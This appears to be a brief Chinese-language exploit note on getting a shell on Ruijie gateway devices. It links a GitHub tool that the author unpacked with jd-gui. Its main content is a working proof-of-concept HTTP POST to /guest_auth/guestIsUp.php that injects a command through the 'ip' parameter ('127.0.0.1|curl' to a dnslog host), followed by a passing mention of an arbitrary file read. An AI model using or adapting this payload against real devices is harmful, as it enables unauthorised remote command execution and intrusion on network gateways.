锐捷网关系列通杀GetShell
https://github.com/Tas9er/EgGateWayGetShell
使用jd-gui 解开
整理出POC 如下:
POST /guest_auth/guestIsUp.php HTTP/1.1 Host: 192.168.10.1 Connection: close Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Content-Type: application/x-www-form-urlencoded Content-Length: 56 mac=1&ip=127.0.0.1|curl xxx.dnslog.cn
看看源代码
看了一下其他的代码。发现一个任意文件读取